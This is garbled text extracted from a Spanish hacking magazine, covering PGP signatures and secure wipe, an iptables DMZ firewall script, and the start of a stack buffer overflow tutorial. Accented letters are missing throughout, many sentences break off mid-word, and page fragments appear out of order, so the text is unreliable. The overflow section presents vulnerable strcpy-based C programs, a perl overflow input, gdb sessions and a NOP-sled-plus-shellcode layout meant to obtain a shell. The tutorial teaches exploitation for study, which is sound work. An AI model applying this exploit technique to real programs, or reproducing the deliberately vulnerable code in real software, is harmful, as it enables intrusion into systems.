Otra de las aplicaciones ms importantes del sistema PGP es la firma digital. Todo sistema de firma digital debe cum plir unas caractersticas: 1) Integridad de la informacin: En caso de que la informacin se vea alterada tras su firma, sta deja de ser vlida. 2) Autenticidad: Asegura que el solamente el dueo de la clave privada ha sido capaz de generar la firma. 3) No repudio: El usuario que gener la firma no puede negar haberlo hecho. Ahora llega otro de nuestros ejercicios de imaginacin...
Imaginemos que queremos idear, con lo que sabemos, una forma de implementar una firma digital que cumpla las ca ractersticas anteriormente citadas. Seguramente lo pri mero que se os ocurra a la mayora sea realizar un hash del fichero a firmar y pasarle la cadena generada junto al fichero. La primera de las caractersticas se cumple, pues como sabemos, si modificamos cualquier dato del fichero, el hash dejar de coincidir. Pero la segunda no se cumple (y, por consiguiente, la tercera tampoco), dado que cual
Para fimar un fichero, debemos pulsar con el botn dere cho sobre el fichero y seleccionar la opcin Sign. Adicionalmente podemos seleccionar Encrypt & Sign para cifrar y firmar. Al seleccionar la opcin de firma, nos encontrare mos con una ventana con las siguientes op ciones:
26/68
Para verificar una firma (sea el fichero cifrado o no) debemos pulsar sobre l con el botn derecho y seleccionar la opcin Decrypt & Verify. Imaginemos que estamos en la situacin del atacante. En es ta ocasin si puede descifrar el hash, pues puede obtener nuestra clave pblica de cualquier servidor de claves. Tambin puede alterar el fichero y generar su propio hash... pero jams podr cifrar ese hash a nuestra clave privada. Simple y efectivo.
La firma digital se puede aplicar a cualquier tipo de informacin que maneje el ordenador, no nicamente a fiche ros. Por ejemplo, podemos firmar... claves pblicas. Si os fi jis en el rbol de vuestra propia clave, donde se nos muestra un mensaje en el que nos advierten de las implicaciones de firmar una clave pblica, el nombre de la clave y el fingerprint de la misma. Hay tambin una ca silla en la que podemos marcar la opcin Allow signature to be exported. Others may rely upon my signature. que activa la opcin de firma exportable. vuestra propia clave pblica se encuentra por defecto firma da por vuestra clave privada desde el momento de su generacin. Y cul es la utilidad de firmar claves pblicas? Como ya hemos visto, una firma nicamente puede generar la el dueo de la parte privada de la clave. As pues, cuando firmamos una clave pblica (es decir, ciframos a nuestra cla ve privada el hash de esa clave pblica) estamos dando tes timonio de que esa clave es de confianza, es decir, que per Pulsando en el botn More Choices nos encontramos con las opciones avanzadas de firma de PGP. En este men po dremos elegir dos tipos de firmas PGP peculiares y no muy usadas: el Meta-Introducer Non-Exportable y el Trusted Introducer Exportable, as como la opcin de generar cual quiera de los cuatro tipos de firma con una fecha de expiracin. Estos dos tipos de firmas son usadas para des cribir una confianza ms profunda, detallada en su nivel 27/68
Las revocaciones son un mecanismo ideado para poder dar marcha atrs en algunos procesos crticos de PGP, como por ejemplo la publicacin de claves o la firma de claves pblicas. Imaginemos que nos generamos una nueva clave y desea mos eliminar la vieja. Si nuestra clave ha tenido bastante difusin y est publicada en servidores de claves nos en contraremos con el problema de que cualquier persona, por error, puede bajarse la clave antigua y utilizarla... y quiz ni siquiera el correo electrnico de la clave sea vlido ya. Para evitar estas situaciones, podemos revocar de for ma completa nuestra clave y despus actualizarla en los servidores de claves. De esta forma, la prxima vez que alguien actualice nuestra clave pblica, nuestra clave en su anillo local pasar tambin a estar revocada y NO podr volver a cifrar a esa clave. El concepto de revocaciones puede ser tambin aplicado a las firmas de claves pblicas. Imaginemos que hemos fir mado por error una clave pblica de forma exportable y hemos actualizado los servidores de claves con ella (hom bre, hacer todo eso por error... ya es despiste, s... ) o que una clave que habamos firmado resulta ser falsa, falta de confianza... o cualquier cosa por el estilo. Podemos revocar nuestras firmas sobre otra clave de forma que quede constancia que nosotros explcitamente hemos eliminado la validez de esa firma.
Esta opcin es una de las ms avanzadas e in teresantes de PGP, pero no se usa prcticamente. Gracias a la opcin de definir claves comparti das, podemos dividir una clave completa (con parte pblica y privada) en varias subclaves. Cada una de esas subclaves tendr su propio passphrase y un valor numrico asociado que define su importancia, y podremos igualmente definir el valor total necesario para realizar cualquier accin con la clave.
Para dividir una clave pulsaremos en ella con el botn derecho y seleccionaremos Share Split.
28/68
Ha llegado el momento de hablar de una de las opciones ms tiles de PGP y que, de hecho, no est relacionada con la criptografa ni con las claves... pero que no podis perderos y no quera dejar de comentar. Como ya dije antes, no basta con borrar un fichero para que ste desaparezca del disco duro. Podemos imaginar nos el disco duro como un enorme libro que tiene un ndice y unos contenidos. Cuando escribimos un algo (un fiche ro), estamos escribiendo algo en alguna pgina e introdu ciendo en el ndice una entrada donde indicamos la posicin de esa informacin para saber que est ocupada. Al borrar un fichero, el sistema operativo en realidad lo que hace es borrar el ndice, decir que ese espacio est li bre para ser usado si es necesario... pero no borra la informacin realmente. Seguramente ya habris pensado la mayora que bastara entonces con sobreescribir la informacin real para elimi nar los datos. S y no. S porque as realmente desapare cera la informacin, pero no por varios motivos: en primer lugar, un usuario desde el sistema operativo normalmente no tiene posibilidad de controlar el disco hasta tal punto como para escribir los clusters exactos donde se alojaba la informacin; y en segundo lugar porque aunque so breescribamos la informacin, sta podra ser recuperada bajo ciertas circunstancias. La mayora sabris que un disco duro es un dispositivo magntico y que la informacin se guarda como bits mag netizados. Estos bits generan millones de mini-campos magnticos. Si habis estudiado fsica elctrica, sabris que al aplicar un mismo campo (por ejemplo, si queremos escribir un 1) a dos zonas donde los campos no son los mismos (por ejemplo, dos bits donde haba 1 y 0 respecti vamente), los campos resultantes no son idnticos. Dado que el ordenador trabaja con unos mrgenes de error (po
Para utilizar esta herramienta simplemente debemos selec cionar el/los fichero/s a borrar de forma segura y pulsar con el botn derecho en ellos, seleccionar el men PGP y la opcin Wipe. Un dilogo de confirmacin aparecer antes de llevar a cabo la accin (este dilogo puede elimi narse... pero no lo recomiendo en ningn caso): conviene estar muy seguro antes de decir s... porque cualquier cosa borrada con Wipe ser totalmente irrecuperable.
Hemos terminado con el primer artculo de este Taller de Criptografa. Espero que os haya resultado interesante y que a partir de ahora incorporis PGP a vuestros sistemas como un elemento imprescindible... Hasta el prximo nmero, con GnuPG. Ramiro C.G. (alias Death Master) Dedicado a Laura
29/68
La realizacin de este artculo me ha planteado un gran dilema, pero al final me he decidido a hacerlo, por ser fiel a mis planes iniciales. El problema es que, desde que empec el curso de TCP/IP (all por el nmero 17), tena una idea de la estructura que iba a seguir el curso, y de las cosas que quera contar. Dentro de ese plan entraba el dedicar un artculo a las iptables una vez que terminase de ex plicar toda la teora del protocolo IP y todos los que tiene por encima (TCP, UDP, e ICMP). Pero claro, no contaba con que ste es un tema tan interesante, que la probabilidad de que alguien se me adelantase era bastante alta. Y con lo que tampoco contaba era que, para colmo, el curso de firewalls se desarrollase de una forma tan magnfica y completa, as que desde aqu mis felicitaciones para Vic_Thor. Dando vueltas al asunto llegu a la conclusin de que, si saba aprovechar la situacin, podra ser una ventaja ms que un obstculo para mis planes. Poda aprovechar que Vic_Thor ya os dio toda la base necesaria para comprender las iptables y, por tanto, poda ir directamente al meollo del asunto sin tener que escribir tropecientas pginas explicando detalles de las iptables que, en reali dad, se salen de la temtica del curso de TCP/IP. Por tanto, si consigo mis objetivos con este artculo, habremos conseguido una combinacin perfec ta: un curso de firewalls para explicar el funcionamiento de las iptables, y un curso de TCP/IP que aprovecha esos conocimientos para aplicarlos a lo explicado en el curso. Lo que no os puedo prometer es que este artculo sea complementario al curso de diseo de firewa lls, ya que no puedo ir tachando todo lo que ya ha sido contado para contar slo cosas nuevas, pues el artculo quedara totalmente inconexo y perdera toda su utilidad. As que podis tomarlo de dos formas: para los que no seguisteis el curso de firewalls, ser esta vuestra segunda oportunidad para conocer este apasionante tema en profundidad, y para los que s lo seguisteis, tenis aqu un nuevo punto de vista sobre el mismo tema. Este nuevo punto de vista consistir en ir repasando todo lo explicado a lo largo del curso de TCP/IP, y tambin algunas cosas de la veterana serie RAW, y aplicando lo que vimos entonces al diseo de un firewall completo, de arriba a abajo, que implemente proteccin para prcticamente todos los ataques que he ido explicando durante casi 2 aos (ya he perdido la cuenta de cuanto tiempo llevo en la revista...).
30/68
Como vemos, en el escenario aparecen 4 redes: La primera red es, por supuesto, Internet. Esta red cons ta de una nubecita llena de millones de mquinas, de las cuales una de ellas es nuestro router ADSL, llamado Zeus. La segunda red est formada por slo dos mquinas: Zeus, y nuestro firewall, llamado Cerbero. Como segura mente sabris, Cerbero era el perro infernal que guardaba las puertas del Hades, el reino de los muertos de los anti guos griegos. Al igual que el can Cerbero, nuestro Cerbero tiene 3 ca bezas, cada una de ellas conectada a una red, y se encar ga tambin de vigilar la entrada de cada reino, para que los vivos no se junten con los muertos, ni los muertos con los vivos.
31/68
32/68
33/68
34/68
35/68
En esta primera seccin del archivo de configuracin de ip tables vemos una serie de definiciones que nos sern tiles para todo el script. Podemos comprobar que algunos de los valores definidos no son usados luego en el script. An as, conviene definir los tambin, pues definimos as todo el contexto, y nos permitir hacer cualquier modificacin o ampliacin en el futuro sin tener que preocuparnos de si tenamos definido o no tal elemento que hasta el momento no habamos uti lizado.
37/68
Empezamos haciendo lo mismo que hace el comando stop, para empezar con una configuracin limpia sobre la que ir trabajando.
En este punto se encuentran algunas de las caractersticas ms interesantes de nuestro script. Vamos a ir viendo una a una cada una de las lneas de esta parte del script. # incluimos modulo para FTP modprobe ip_conntrack_ftp Linux pretende ser un sistema operativo con cierta modu laridad, lo cual se consigue gracias a ciertos comandos co mo modprobe (man modprobe). Existen una gran cantidad de mdulos que podemos cargar dinmicamente, y estos suelen encontrarse en /lib/modules. Si queremos ver un listado completo de los mdulos que tenemos disponibles para ser cargados, podemos hacer: modprobe -l Desde una shell de root. Para ver los mdulos que tenemos cargados en estos mo mentos: lsmod Tambin slo para root.
38/68
Empezamos ya con las reglas. Todo lo que hay a partir de aqu podra ser modificado segn fuese cambiando nuestro escenario. Empezamos configurando la tabla NAT, de la cual ya os habl con detalle Vic_Thor. Si recordamos la configuracin de Zeus, ste tena una ta bla NAT que diriga todos los puertos abiertos a una nica IP, que era la de Cerbero. Lo que estaba haciendo Zeus era simplemente pasar la bola, aplazando la cuestin, para que fuese Cerbero quien realmente se encargase del NAT. Como vemos, Cerbero repartir los paquetitos de la si guiente forma: Los paquetes a los puertos 80 y 21 (www, y ftp) para Persefone. Los paquetes a los puertos 5000 a 5005 para que Eolo pueda tener DCC. Los paquetes a los puertos 5010 a 5015 para el DCC de Poseidon. Los paquetes al puerto 4662 para el emule de Poseidon.
Aqu, aparte de establecer la poltica DROP por defecto, es decir, poltica paranoica, estamos utilizando un meca nismo muy sencillo para evitar problemas MIENTRAS esta mos configurando las iptables. El script de iptables normalmente no tardar ms de un segundo en ser cargado en Cerbero (depende de cmo de potente sea la mquina), pero durante ese segundo pue den ocurrir mil cosas. Qu pasar con los paquetes que nos lleguen durante ese segundo? Podra ser el momento ideal para que se nos colasen, y todos los esfuerzos poste riores seran en vano. Mientras el script se esta cargando hemos de asumir que estamos totalmente desprotegidos por lo que, antes de to car nada, tenemos que asegurarnos de que se cierran to das las puertas, y no las abriremos hasta que no hayamos terminado de configurar todo. Para ello, insertamos una regla en la primera posicin de cada cadena (INPUT, OUTPUT, y FORWARD), que directa mente rechace todos los paquetes.
40/68
Como ya explic Vic_Thor, hay que mantener las conexio nes ya establecidas, y rechazar las invlidas (paquetes con algn parmetro que no se corresponda con ninguna conexin establecida). Por tanto, los paquetes TCP sern analizados slo si son para establecer una nueva conexin (flag SYN), pero una vez que la conexin ya ha sido aceptada, el resto de pa quetes de la misma circularn libremente a travs de nuestras iptables.
Qu ms me queda por decir sobre las reglas de ICMP en iptables despus de todo lo que cont ya en artculos ante riores? Ya sabemos que necesitamos poder recibir mensajes ECHO-REPLY (pong) y enviar mensajes ECHO-REQUEST (ping) para que nos funcionen el PING, el TRACEROUTE, y otras aplicaciones. En cambio, no tenemos porque aceptar recibir mensajes ECHO-REQUEST (ping), ya que quiz no tenemos inters en responder nosotros al ping. Me he ahorrado trabajo al definir unas reglas generales de ICMP para todas las cadenas, pero en realidad habra que definir unas reglas especficas para cada cadena si quere mos ser puristas. Por ejemplo, el PING podra permitirse desde Hades y Gaia hacia Cerbero, para que las mquinas de estas redes pu diesen comprobar que el firewall/router est vivo. Pero no habra motivo para permitir un PING desde la red Olimpo, ya que no tenemos por qu dar ninguna informacin al ex terior, donde estn todos esos hackers malos. Como las consecuencias de esto son mnimas, he preferido ahorrar trabajo y crear unas reglas genricas de ICMP, pe ro insisto en que, si queris perfeccionar vuestro firewall, tendrais que definir reglas independientes para cada posi ble camino. Tambin insisto en que las iptables que tengo yo no son estas, por lo que el hecho de que me haya aho rrado trabajo en las iptables de este artculo, no significa que lo haya hecho en las mas. Os propongo como ejercicio que modifiquis estas iptables para que haya reglas independientes de ICMP para cada cadena. Aparte de los ping y pong tambin tenemos los clicks de playmobil, esto.... quiero decir.... que aparte de los ping y los pong tambin permitimos los mensajes Destination Unreachable, para que funcione el mecanismo de PMTUD que ya hemos visto a lo largo del curso. Tambin
Aqu tenemos un bonito surtido (como los de Cuetara) de diferentes tipos de escaneo de puertos que vamos a fil trar. Todos estos tipos de escaneo los puede hacer la mag nfica herramienta NMAP, y algunos de ellos tambin pue den ser utilizados por otras herramientas. NMAP intenta saltarse los firewalls utilizando, entre otras cosas, diferentes combinaciones de flags TCP. Ya se ha hablado sobre esto en la revista. Con esta serie de reglas estamos rechazando todos los pa quetes que tienen los flags que se sabe que son utilizados para este tipo de escaneos, y por otra parte estamos lo geando el escaneo. Como un escaneo completo suelen ser 65535 paquetes (uno por cada puerto TCP), sera una lo cura almacenar todo esto en el log. Por eso limitamos a que slo guarde registro de 5 de estos paquetes por minu to. Con eso tenemos suficiente para detectar el intento de escaneo, pero sin saturar nuestros logs.
Las tres cadenas anteriores, reglas_icmp, keep_state, y flags_tcp, slo quedaron definidas, pero no se especific en ningn momento sobre qu paquetes deban ser aplica das. En esta seccin de nuestro script indicamos que estas 3 cadenas han de ser aplicadas en todos los sentidos: INPUT, OUTPUT, y FORWARD. Si quisisemos aplicar reglas diferentes de icmp para cada camino, tendramos que eliminar estas reglas, ya que pre valeceran sobre las que pusisemos despus.
41/68
Si bien Gaia puede acceder a los servicios de Hades, Hades de ninguna manera puede acceder a Gaia. Precisamente aqu es donde se encuentra la esencia de las redes con DMZ. Una DMZ es bsicamente una zona sus ceptible de ser hackeada. Si un hacker lograse hacerse con el control absoluto de la red DMZ, estaramos perdidos si hubiese algn acceso desde sta hacia la red interna. Ya se nos pueden colar todos los hackers que quieran en nuestros servidores (Hades), que desde ellos no lograrn llegar a nuestra red interna (Gaia), a no ser que consigan adems hackear nuestro firewall (Cerbero). Cmo puede entonces funcionar la comunicacin de Gaia hacia Hades si todo el trfico de Hades hacia Gaia est ce rrado? No tendramos que permitir al menos las respues tas que tenga que enviar Hades a Gaia cuando por ejemplo Eolo se conecta por SSH a Persefone? Pues claro que s, pero esta situacin ya la tenemos con templada en la cadena keep_state. Es Eolo quien enva el paquete SYN que establece la conexin entre Eolo y Persefone. Una vez establecida la conexin, nuestra cade na keep_state prevalecer sobre la regla que tenemos aqu: iptables -A hades_gaia -j DROP Y por qu prevalece? Pues lgicamente, porque la inser tamos antes, concretamente en este punto: iptables -A FORWARD -p tcp -j keep_state Normalmente, si vemos en el log alguna lnea con el prefi jo HADES->GAIA: , que es el que hemos puesto para este camino, tendremos que estar alertas porque es una posible seal de que hemos sido atacados a travs de la DMZ.
En nuestro escenario tenemos 3 redes: Gaia, Hades, y Olimpo. Por tanto, habr 6 posibles caminos entre estas redes: De Gaia a Hades De Gaia a Olimpo De Hades a Gaia De Hades a Olimpo De Olimpo a Gaia De Olimpo a Hades A partir de esta seccin, vamos detallando las reglas que tendr que seguir cada uno de estos 6 caminos. El primero de estos, De Gaia a Hades, es el que describimos aqu. Como sabemos, Gaia es la red interna, y Hades la red DMZ. Tpicamente, en una configuracin con DMZ, la red interna puede tener acceso a la DMZ para poder utilizar los mis mos servicios que la DMZ est dando al exterior (es decir, a Internet o, en nuestro escenario, la red Olimpo, que es la intermediaria directa con Internet). Aparte de poder utilizar los servicios de la DMZ, es tam bin muy tpico que el administrador de sistemas tenga tambin su PC dentro de la red interna, y que se abra al gunas puertecillas para poder administrar remotamente los servidores sin tener que estar yendo de una mquina a otra. En este caso, hemos abierto una administracin re mota del servidor Persefone a travs de SSH, a la cual slo tendr acceso la mquina Eolo. Quiz la lnea mas importante en esta seccin es esta: iptables -A FORWARD -i $gaia -o $hades -j gaia_hades Todo lo que entre por el dispositivo que conecta a la red Gaia (-i $gaia) y salga por el dispositivo que conecta a la red Hades (-o $hades) tendr que atravesar la cadena gaia_hades que acabamos de crear. Una vez ms, insisto en que es ms seguro identificar los caminos por los dispositivos de entrada y salida, ms que por direcciones IP.
Esta es otra seccin que podra ser mejorada enormemen te, y que tambin os dejo como ejercicio. En principio, permito que los servidores de la DMZ tengan acceso total a Internet. As, si en algn momento el admi nistrador se sienta a los mandos para bajar actualizaciones de software, o cualquier otra cosa, no tendr limitado el acceso. En cambio, esta no es la opcin ms segura, y lo mejor sera limitar el acceso al exterior de forma inteligente. As, si alguien llegase a penetrar en algn servidor, tendra muy limitado el acceso al exterior. Qu tal, por poner un ejemplo, limitar la salida del protocolo TFTP? Recordis aquellos sistemas clsicos para meter troyanos en una m quina medio-hackeada?
42/68
Aqu es donde se encuentra reflejada la funcionalidad de la red DMZ. En primer lugar, para cualquier camino que venga desde Olimpo tenemos que permitir los paquetes que tienen co mo IP de origen la de nuestro servidor DNS (o servido res, si tenemos configurado ms de uno), como protocolo UDP, y como puerto de origen el 53 (el puerto de DNS, llamado con el alias domain). Por supuesto, igual que tenemos que dejar entrar las res puestas a nuestras consultas DNS, tambin tenemos que dejar salir nuestras consultas. Esto sera responsabilidad de los caminos que van hacia Olimpo, y no los que vie nen desde Olimpo, como este. Por ejemplo, el camino an terior, hades_olimpo, iba hacia Olimpo, pero al permitir todo el trfico, implcitamente estamos permitiendo tam bin las consultas DNS. Aparte del DNS, tenemos que permitir la entrada de co nexiones hacia los puertos de ftp y web. El puerto de ssh, por supuesto, no estar abierto hacia la red Olimpo, ya que slo Eolo (que pertenece a la red Gaia) puede admi nistrar remotamente a Persefone.
Aqu de nuevo estamos permitiendo que los usuarios de la red interna tengan acceso de salida total hacia Internet. Tambin os dejo como ejercicio que limitis este acceso, si queris, aunque en general en una red domstica lo ms conveniente ser dejarlo abierto, para que podamos mo vernos a nuestras anchas por Internet desde nuestro PC. En cambio, en una red corporativa, podra ser interesante limitar el acceso de los empleados, para que por ejemplo no puedan conectarse a chats, o a otros servicios no de seados. En cualquier caso, la mejor forma de limitar este acceso al exterior no seran las iptables, si no un proxy, como por ejemplo el famoso Squid que, entre otras cosas, nos per mitir por ejemplo limitar qu paginas web pueden ver los empleados, y cules no (evitamos as una de las mayores prdidas de tiempo de los empleados, que es la pornogra fa).
Aqu creamos 3 nuevas cadenas de reglas, que se aplica rn a cualquier paquete que tenga como IP de destino la del propio Cerbero: una cadena para los paquetes que provienen de la red Olimpo, otra para los de la red Gaia, y otra para los de la red Hades. En el caso de la red Olimpo, slo permitimos que nos trai ga de vuelta la respuesta a las consultas DNS que poda mos hacer desde el propio Cerbero. En realidad, hasta esto podramos quitarlo, ya que normalmente nunca nos senta remos a los mandos de Cerbero para hacer nada, por lo que no hay motivo para necesitar hacer consultas DNS. En el caso de Hades, no permitimos ningn trafico hacia Cerbero, faltara ms... Si hemos dicho que la DMZ (Ha des) es la red potencialmente ms vulnerable, de ninguna manera podemos permitir ningn tipo de acceso desde es ta red hacia el corazn de nuestro sistema de seguridad, que es Cerbero. Si vemos en los logs alguna lnea que empiece por el pre fijo que hemos puesto para este camino, "HADES ->CERBERO: ", entonces s que nos podemos mosquear, porque es probable que alguien haya entrado en la red DMZ, y est intentando penetrar en el firewall a travs de ah. Bastante buenos estamos siendo ya permitiendo que des de la DMZ se pueda hacer ping al firewall (por la cadena
Nuestra configuracin no es muy purista que digamos. Puertos abiertos en la red interna!
43/68
reglas_icmp), por lo que sta sera una de las reglas que interesara modificar a la hora de personalizar las reglas de ICMP para cada camino. Por ltimo, con respecto a Gaia, tenemos ms de lo mis mo. En este caso, tericamente, no sera tan grave permi tir algn tipo de acceso hacia Cerbero, pero... para qu? Si no hay ningn motivo por el cual tengamos que comuni carnos desde Gaia hacia Cerbero, mejor cerrar todo y cu rarnos en salud.
Para activar todo el script que hemos creado slo nos falta una cosa: eliminar las reglas de bloqueo que colocamos al principio de cada cadena (INPUT, OUTPUT, y FORWARD). Por tanto, con slo borrar la regla nmero 1 de cada cade na: hop! iptables funcionando. Por cierto! Antes de que me vaya, por si alguien no lo sa be, todas las mquinas de Hades y Gaia tienen que tener como puerta de enlace a Cerbero (con la IP de Cerbero que corresponda segn la red en la que estemos), y como mscara de red 255.255.255.0. Es decir, stas seran las puertas de enlace de cada mquina: Persefone: 192.168.2.1 Eolo: 192.168.3.1 Poseidon: 192.168.3.1
Como ya dije, en principio permitimos que el propio Cerbero pueda hacer consultas DNS, aunque perfectamen te podramos eliminar esta opcin. En cualquier caso... para qu lo bamos a querer, si todo el resto del trfico est cerrado? Como vemos, cerramos todo el trfico desde Cerbero hacia el exterior, as que olvidaos de navegar por Internet desde el firewall.
44/68
Hola, en primer lugar, presentarme. Soy TuXeD, algunos me conoceris del foro de esta revista, otros no, y a otros probablemente os d igual quien soy, as que mejor sigo explicando Durante varios artculos intentar explicar en qu consisten varios tipos de vulnerabilidades y cmo aprovecharnos de ellas. En especial, vamos a hablar de desbordamientos de buffer, tanto stack-based, como heap-based y bss-based. Tambin veremos qu son las cadenas de formato, los errores de programacin en su uso, y la forma de explotarlos. Por otra parte, debo comentar que todos estos artculos se basan en linux, y todos los ejemplos han sido probados en una mquina con Debian GNU/Linux con kernel 2.6.7. Sin ms prembulos, espero que este primer artculo sobre desbordamientos de buffer en la pila [stack-based] os guste y os sea de utilidad
bss segment: En esta zona de la memoria se alojan las variables no inicializadas de nuestro programa. Es decir, cuando le decimos a nuestro compilador que va mos a usar una variable de cierto tipo, pero no le da mos un valor, lo que hace es reservar su espacio en el segmento bss. Tanto ste como el segmento anterior son de tamao fijo, y se puede escribir en ellos. heap segment: Con este nombre [que viene a signi ficar pila o montn] se llama al segmento de memoria reservado para la memoria dinmica. Cuando un pro gramador no sabe de antemano el tamao de una de terminada variable, sino que depende de los datos del usuario por ejemplo, o de un clculo realizado en tiem po de ejecucin, tiene dos opciones: crear una variable lo suficientemente grande como para albergar los datos necesarios, o bien utilizar la memoria dinmica. Como podis ver, el tamao de este segmento no est prede finido, sino que va variando. En nuestro caso, crece en el mismo sentido que las direcciones de memoria. stack segment: Este segmento es lo que llamamos la pila. Se trata de una estructura de datos en la cual po demos apilar [push] y desapilar [pop] variables de la
Bien, algunos de vosotros probablemente, al leer la presentacin, os habris preguntado Y qu es eso de la pila, heap, bss y todas esas cosas que dice?. Pues todo eso son zonas de la memoria, y eso es lo que voy a expli car en esta seccin. Cuando ejecutamos un programa, la memoria asignada a ste es dividida en cinco segmentos (os pongo los nom bres en ingls porque ser como lo encontraris la mayora de las veces): text o code segment: Como su nombre indica, este segmento contiene el cdigo del programa. Es aqu donde residen las instrucciones en cdigo mquina que componen nuestro programa. Cuando lancemos el pro grama, empezar a ejecutarse desde la primera instruccin de este segmento. Este segmento es de tamao fijo y slo lectura. data segment: Aqu se encuentran las variables glo bales inicializadas de nuestro programa. Cuando al principio de un programa creamos una variable y le da mos un valor, es en este segmento donde va a parar.
45/68
Como ves, el ebp ahora est apuntando a la base del espa cio de memoria de la funcin suma, es decir, justo debajo de la primera de sus variables locales. Como he dicho an tes, ebp delimita el marco de una funcin, por tanto pode mos ver el marco de la funcin como una especie de Ven tana de la memoria, donde se encuentran sus propias va riables. Cuando una funcin termina, debe dejar la pila tal y como se encontraba justo antes de su ejecucin, por tanto debe haber retirado de la pila todas sus variables lo cales. Seguidamente se restablecen los valores de ebp y eip, y se retiran de la pila los argumentos de la funcin. As, todo ha vuelto a su normalidad y el programa conti nuar como si la llamada a la funcin no fuese ms que una simple instruccin. Bien, ahora que ya sabemos lo que pasa en la pila, pense mos un poco... qu pasara si modificramos el valor de la direccin de retorno? Como ves, al finalizar la funcin, el programa saltara a la direccin que nosotros hubise mos puesto. Y si conseguimos poner el cdigo que quera
46/68
Bueno, como he dicho en el prrafo anterior, ahora que ya sabemos un poquito de teora, y ya sabemos lo que puede pasar si desbordamos el buffer, vamos a verlo en la prc tica. Para ello, usaremos el siguiente programita ejemplo: Cdigo bof.c: #include <stdio.h> #include <string.h> int main(int argc, char *argv[]){ char mensaje[512]; if(argc<2){ printf("Uso: %s <mensaje>\n",argv[0]); return -1; } else { strcpy(mensaje,argv[1]); printf("%s\n",mensaje); } return 0; } Como veis, es un programita chorra que nicamente muestra un mensaje con el argumento que le hemos pasa do como parmetro. Compilamos y lo probamos: tuxed@athenea:~/Articulos HxC$ gcc bof.c -o bof -g tuxed@athenea:~/Articulos HxC$ ./bof Uso: ./bof <mensaje> tuxed@athenea:~/Articulos HxC$ ./bof hola hola tuxed@athenea:~/Articulos HxC$ Pues s, parece que funciona como debe. Pero nosotros va mos a jugar con l, y vamos a meterle ms de 512 carac teres. Lo haremos con perl, y gracias a la sustitucin de comandos de bash. Si ponemos en la shell un comando entre acentos graves, entonces sustituir la lnea de nues tro comando por la salida del comando que hemos puesto entre acentos. Veamos un ejemplo: tuxed@athenea:~/Articulos HxC$ `perl -e 'print "cat bof.c"'` #include <stdio.h> #include <string.h> ... tuxed@athenea:~/Articulos HxC$ El comando perl -e 'print cat bof.c' lo que hace es impri mir por pantalla la cadena cat bof.c. Al meter dicho co mando entre acentos graves, la bash lo que hace es ejecu tar el comando, y tomar la salida como una orden a ejecu tar. Por tanto, en este caso la shell lo que ha ejecutado es
NOTA
Para quien no lo sepa, un depurador es un programa que nos ayuda a seguir la ejecucin de nuestros programas paso por paso, pudiendo detener dicha ejecucin en un punto determinado, examinar la memoria del programa, cambiar el contenido de dicha memoria en tiempos de ejecucin, y evidentemente, continuar con su ejecucin despus de haberlo parado.
47/68
Puesto que la direccin del buffer puede variar debido a variables de entorno, nombre del programa, etc., lo que haremos ser rellenar el principio del buffer con unas cuantas instrucciones NOP (No Operation, byte 0x90), que lo que hacen es, precisamente, no hacer nada. As, tendre mos un margen ms grande a la hora de acertar con la direccin de retorno. Despus de los NOPs, ponemos la shellcode y, despus, ponemos la direccin del buffer repe tidamente hasta lograr los 528 bytes que necesitamos para modificar la direccin de retorno (por si acaso, vamos a poner unos pocos ms). As, nuestro buffer quedar como sigue:
Bien, pues vamos a poner un breakpoint (punto de ruptu ra) justo antes de rellenar el buffer (lnea 11), y mirare mos la direccin de retorno. Acto seguido, ejecutaremos la siguiente instruccin y veremos si se ha modificado di cho valor: tuxed@athenea:~/Articulos HxC$ gdb bof GNU gdb 6.3-debian Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for de tails.
48/68
RSc############ ############### ############### ############### ########## Violacin de segmento tuxed@athenea:~/Articulos HxC$ Mmm Qu ha pasado? Como vemos arriba, ha habido una violacin de segmento y nos devuelve a nuestra propia shell. Por qu? Algunos de vosotros, si habis estado atentos a lo que he escrito al principio, ya sabris la razn. Si recordis, dije que la codificacin de los datos en la ar quitectura Intel x86 es little endian, lo que significa que en memoria, los bytes de menor peso se guardan primero. As pues, nuestra direccin de retorno habr sido guardada en orden inverso, y por eso se ha producido la violacin de segmento. Vamos a verlo: tuxed@athenea:~/Articulos HxC$ gdb bof GNU gdb 6.3-debian Copyright 2004 Free Software Foundation, Inc.
Pues bien, vamos a hacerlo. Para ello utilizaremos otra vez perl, pero esta vez para imprimir 234 bytes con el valor 0x90. Justo despus de sto, usaremos el comando cat con el archivo que contiene nuestro shellcode (es decir, cat scode), y luego la direccin de retorno 67 veces. Si hace mos esto, y todo va bien, deberamos tener nuestra ansia da shell. Para sacar provecho de verdad de un buffer over
49/68
Bien, ahora ya sabemos cmo explotar un buffer overflow utilizando el propio buffer para almacenar nuestra shellco de, pero pensemos un momento, Qu pasara si nuestro buffer vulnerable no tuviese suficiente espacio para alber gar el cdigo de la shellcode? Mediante la tcnica expuesta en las pginas anteriores no podramos explotar el fallo de seguridad que contiene el programa, pero tranquilos, no est todo perdido, todava tenemos alguna posibilidad Imaginemos el siguiente programa: Cdigo bof2.c #include <stdio.h> #include <string.h> int main(int argc, char *argv[]){ char texto[10]; int num; if(argc>1){ strcpy(texto, argv[1]); num=strlen(texto); printf("Tu texto contiene %d caracteres\n",num); return 0; } return -1; } Esta vez el programa vuelve a ser una chorrada, simple mente cuenta el nmero de caracteres que contiene la pa labra/frase pasada como primer argumento, y muestra un texto informativo por pantalla. Como vemos, vuelve a usar la funcin strcpy, sin tener en cuenta el tamao del buffer, as que podremos desbordarlo. Sin embargo, este progra ma no tiene un buffer tan grande como el anterior, sino que tiene apenas 10 caracteres, y por tanto dentro no pa rece que nos quepa nuestra shellcode. Vamos a probar otra vez el nmero de caracteres que necesitamos para desbordar con la tcnica vista antes, y veremos que no ca be todo lo que metamos en el buffer anteriormente:
50/68
Vemos que se ha modificado con A's la direccin de retor no entera, pero la memoria que le sigue no, as que este es el lmite de caracteres que tenemos en este caso. Como vemos, en este buffer no nos cabe nuestra shellcode, puesto que tenemos 28 bytes de espacio (los 32 que lle gan a sobrescribir la direccin de retorno, menos los 4 bytes que ocupa la propia direccin de retorno). Obviamente, no nos queda otra opcin que buscarnos un lugar alternativo donde meter nuestro cdigo mquina (shellcode). Como ya habris adivinado, el lugar alternativo donde va mos a guardar las instrucciones binarias que conforman nuestra shellcode son las variables de entrono. Estas va riables, no son ms que unas variables asignadas por el usuario y que son comunes a todos los procesos del usua rio (a no ser que stos se encarguen de eliminarlas para
